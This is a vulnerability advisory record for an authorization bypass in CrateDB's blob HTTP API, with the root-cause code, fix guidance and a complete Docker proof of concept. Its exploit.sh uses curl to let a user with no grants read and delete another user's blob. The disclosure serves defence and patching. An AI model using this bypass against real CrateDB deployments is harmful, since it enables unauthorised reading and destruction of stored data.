{"id":"CVE-2026-49989","aliases":["GHSA-2xv8-gjwh-fv8p"],"url":"https://o3.security/vulnerability/CVE-2026-49989","summary":"CrateDB's Blob HTTP handler bypasses authorization","details":"**Component:** `io.crate.protocols.http.HttpBlobHandler`\n**Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)\n**Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s.\n\n---\n\n## Summary\n\nCrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table.\n\nThe HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`.\n\n## Where it lives\n\n`server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher:\n\n```java\n// HttpBlobHandler.java:176\nprivate void handleBlobRequest(@Nullable HttpContent content) throws IOException {\n    if (possibleRedirect(index, digest)) {\n        return;\n    }\n\n    if (method.equals(HttpMethod.GET)) {\n        get(index, digest);\n        reset();\n    } else if (method.equals(HttpMethod.HEAD)) {\n        head(index, digest);\n    } else if (method.equals(HttpMethod.PUT)) {\n        put(content, index, digest);\n    } else if (method.equals(HttpMethod.DELETE)) {\n        delete(index, digest);\n    } else {\n        simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);\n    }\n}\n```\n\nNo `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example:\n\n```java\n// HttpBlobHandler.java:287\nprivate void get(String index, final String digest) throws IOException {\n    if (range != null) {\n        partialContentResponse(index, digest);\n    } else {\n        fullContentResponse(index, digest);\n    }\n}\n```\n\n`grep -n 'AccessControl\\|ensureMaySee\\|checkPermission' HttpBlobHandler.java` returns nothing.\n\nThe APIs that should be called here, used by the SQL path before every statement is dispatched:\n\n- `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`)\n- `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl)\n\n## Threat model\n\nUnconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.\n\n| Capability | Needs digest? | Impact |\n|---|---|---|\n| Read or delete a blob | yes | High when digests leak, nil otherwise |\n| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |\n\nDigest secrecy is not a documented security boundary.\n\n## Reproduction\n\nEnd-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.\n\n`./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps:\n\n1. Admin uploads a blob via `PUT /_blobs/...`. Success (201).\n2. Admin reads via SQL. Success.\n3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want).\n4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug).\n5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again).\n6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.\n\nSample output from a real run:\n\n```\n=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===\n[PASS] Unprivileged user correctly denied SQL access\n[INFO] Server response: ERROR:  Schema 'blob' unknown ...\n\n=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===\n[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS\n[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin\n\n=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===\n[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS\n```\n\n### PoC files\n\n<details>\n<summary><code>docker-compose.yml</code></summary>\n\n```yaml\nservices:\n  cratedb:\n    image: crate:6.2.7\n    ports:\n      - \"4200:4200\"\n      - \"5432:5432\"\n    command: >\n      crate\n      -Cnetwork.host=0.0.0.0\n      -Cdiscovery.type=single-node\n      -Cauth.host_based.enabled=true\n      -Cauth.host_based.config.0.user=crate\n      -Cauth.host_based.config.0.method=trust\n      -Cauth.host_based.config.99.method=password\n      -Cblobs.path=/data/blobs\n    environment:\n      - CRATE_HEAP_SIZE=512m\n    healthcheck:\n      test: [\"CMD-SHELL\", \"curl -sf http://localhost:4200/ || exit 1\"]\n      interval: 5s\n      timeout: 5s\n      retries: 12\n```\n\nHBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address.\n\n</details>\n\n<details>\n<summary><code>setup.sql</code></summary>\n\n```sql\n-- Create the blob table\nCREATE BLOB TABLE secret_blobs;\n\n-- Create admin user with full access\nCREATE USER admin WITH (password = 'adminpass');\nGRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;\n\n-- Create unprivileged user with NO access to the blob table\nCREATE USER unprivileged WITH (password = 'unpriv123');\n-- Intentionally no GRANT for unprivileged user\n```\n\n</details>\n\n<details>\n<summary><code>exploit.sh</code></summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCRATE_HTTP=\"http://localhost:4200\"\nBLOB_TABLE=\"secret_blobs\"\nBLOB_CONTENT=\"TOP SECRET: this data should only be accessible to admin\"\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nCYAN='\\033[0;36m'\nNC='\\033[0m'\n\nheader() { printf \"\\n${CYAN}=== %s ===${NC}\\n\" \"$1\"; }\npass()   { printf \"${GREEN}[PASS]${NC} %s\\n\" \"$1\"; }\nfail()   { printf \"${RED}[FAIL]${NC} %s\\n\" \"$1\"; }\ninfo()   { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\nsql_as() {\n    local user=\"$1\" pass=\"$2\" query=\"$3\"\n    PGPASSWORD=\"$pass\" psql -h localhost -p 5432 -U \"$user\" -d doc -tAc \"$query\" 2>&1\n}\n\n# ---------------------------------------------------------------------------\nheader \"Step 1: Upload a blob as admin via HTTP\"\n# ---------------------------------------------------------------------------\nDIGEST=$(echo -n \"$BLOB_CONTENT\" | sha1sum | awk '{print $1}')\ninfo \"Blob SHA1 digest: $DIGEST\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -u admin:adminpass \\\n    -XPUT \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\" \\\n    -d \"$BLOB_CONTENT\")\n\nif [[ \"$HTTP_CODE\" == \"201\" || \"$HTTP_CODE\" == \"409\" ]]; then\n    pass \"Admin uploaded blob via HTTP (HTTP $HTTP_CODE)\"\nelse\n    fail \"Admin blob upload returned HTTP $HTTP_CODE\"\n    exit 1\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 2: Admin CAN read blob metadata via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT digest FROM blob.secret_blobs LIMIT 1\")\nif [[ -n \"$RESULT\" ]]; then\n    pass \"Admin can query blob.secret_blobs via SQL: digest=$RESULT\"\nelse\n    fail \"Admin SQL query returned no results\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 3: Unprivileged user CANNOT read via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as unprivileged unpriv123 \"SELECT digest FROM blob.secret_blobs LIMIT 1\" || true)\nif echo \"$RESULT\" | grep -qi \"denied\\|permission\\|unauthorized\\|not authorized\"; then\n    pass \"Unprivileged user correctly denied SQL access\"\n    info \"Server response: $(echo \"$RESULT\" | head -1)\"\nelse\n    fail \"Unprivileged user was NOT denied SQL access (unexpected): $RESULT\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 4: BUG -- Unprivileged user CAN read blob via HTTP\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /tmp/blob_out -w \"%{http_code}\" \\\n    -u unprivileged:unpriv123 \\\n    \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nBODY=$(cat /tmp/blob_out)\n\nif [[ \"$HTTP_CODE\" == \"200\" ]]; then\n    fail \"Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\n    info \"Retrieved content: ${BODY}\"\nelse\n    pass \"Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -u unprivileged:unpriv123 \\\n    -XDELETE \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nif [[ \"$HTTP_CODE\" == \"204\" || \"$HTTP_CODE\" == \"200\" ]]; then\n    fail \"Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\nelse\n    pass \"Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 6: Confirm blob is gone (admin perspective)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'\")\nif [[ \"$RESULT\" == \"0\" ]]; then\n    fail \"Blob confirmed deleted -- unprivileged user destroyed admin's data\"\nelse\n    info \"Blob still exists (count=$RESULT)\"\nfi\n```\n\n</details>\n\n<details>\n<summary><code>run.sh</code></summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\ncd \"$(dirname \"$0\")\"\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nNC='\\033[0m'\n\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\n# Pick whichever Compose CLI is available (docker compose v2 vs legacy\n# docker-compose binary). Both are common in the wild.\nif docker compose version >/dev/null 2>&1; then\n    DC=(docker compose)\nelif command -v docker-compose >/dev/null 2>&1; then\n    DC=(docker-compose)\nelse\n    echo \"ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed.\" >&2\n    exit 2\nfi\n\ncleanup() {\n    info \"Stopping containers...\"\n    \"${DC[@]}\" down -v 2>/dev/null || true\n}\ntrap cleanup EXIT\n\ninfo \"Starting CrateDB with authentication enabled...\"\n\"${DC[@]}\" up -d\n\ninfo \"Waiting for CrateDB to become healthy...\"\nfor i in $(seq 1 60); do\n    if curl -sf http://localhost:4200/ > /dev/null 2>&1; then\n        break\n    fi\n    sleep 1\ndone\n\n# Verify CrateDB is actually ready for SQL connections\nfor i in $(seq 1 30); do\n    if PGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -c \"SELECT 1\" > /dev/null 2>&1; then\n        break\n    fi\n    sleep 1\ndone\n\ninfo \"Running setup SQL as superuser (crate)...\"\nPGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -f setup.sql\n\n# Give CrateDB a moment to propagate user/privilege changes\nsleep 2\n\ninfo \"Running exploit...\"\necho \"\"\nbash exploit.sh\n```\n\n</details>\n\n## Fixing\n\nPlumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision.\n\n| HTTP verb | SQL equivalent | Required privilege on `blob.<table>` |\n|---|---|---|\n| `GET` / `HEAD` | `SELECT` | `DQL` |\n| `PUT` | `INSERT` / `UPDATE` | `DML` |\n| `DELETE` | `DELETE` | `DML` |\n\nAlternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).\n\n## Notes\n\nDeployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.","published":"2026-08-14T16:29:17.485Z","modified":"2026-09-20T14:24:09.758926Z","cvss":null,"epss":{"score":0.00269,"percentile":0.19019,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"6.2.8"},{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"6.3.2"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49989.json"},{"type":"ADVISORY","url":"https://github.com/crate/crate/security/advisories/GHSA-2xv8-gjwh-fv8p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49989"},{"type":"PACKAGE","url":"https://github.com/crate/crate"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T14:24:09.758926Z"}}